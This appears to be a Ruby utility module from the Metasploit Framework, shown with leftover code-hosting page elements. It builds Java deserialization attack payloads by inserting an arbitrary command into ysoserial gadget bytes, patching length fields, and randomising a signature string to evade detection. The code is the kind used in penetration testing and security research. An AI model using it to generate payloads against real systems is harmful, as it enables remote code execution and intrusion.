asoto-r7
66 lines
2.3 KiB
Ruby
66 lines
2.3 KiB
Ruby
module Msf
|
|
module Util
|
|
|
|
require 'json'
|
|
require 'base64'
|
|
|
|
PAYLOAD_FILENAME="ysoserial_payloads.json"
|
|
|
|
#TODO: Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none)
|
|
|
|
class JavaDeserialization
|
|
|
|
def self.ysoserial_payload(payloadName, command=nil)
|
|
# Open the JSON file and parse it
|
|
begin
|
|
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
|
|
json = JSON.parse(File.read(path))
|
|
rescue Errno::ENOENT
|
|
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
|
|
end
|
|
|
|
raise ArgumentError, "#{payloadName} payload not found in ysoserial payloads" if json[payloadName].nil?
|
|
|
|
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
|
|
payload = json[payloadName]
|
|
|
|
# Based on the status, we'll raise an exception, return a static payload, or
|
|
# generate a dynamic payload with modifications at the specified offsets
|
|
case payload['status']
|
|
when "unsupported"
|
|
# This exception will occur most commonly with complex payloads that require more than a string
|
|
raise ArgumentError, "ysoserial payload is unsupported"
|
|
when "static"
|
|
#TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
|
|
return Base64.decode64(payload['bytes'])
|
|
when "dynamic"
|
|
raise ArgumentError, "missing command parameter" if command.nil?
|
|
|
|
bytes = Base64.decode64(payload['bytes'])
|
|
|
|
# Insert buffer
|
|
bufferOffset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
|
|
bytes[bufferOffset-1] += command
|
|
|
|
# Overwrite length (multiple times, if necessary)
|
|
lengthOffsets = payload['lengthOffset']
|
|
lengthOffsets.each do |lengthOffset|
|
|
# Extract length as a 16-bit unsigned int, then add the length of the command string
|
|
length = bytes[lengthOffset-1..lengthOffset].unpack("n").first
|
|
length += command.length.ord
|
|
length = [length].pack("n")
|
|
bytes[lengthOffset-1..lengthOffset] = length
|
|
end
|
|
|
|
# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion
|
|
bytes.gsub!(/ysoserial\/Pwner00000000000000/, Rex::Text.rand_text_alphanumeric(29))
|
|
return bytes
|
|
else
|
|
raise RuntimeError, "Malformed JSON file"
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|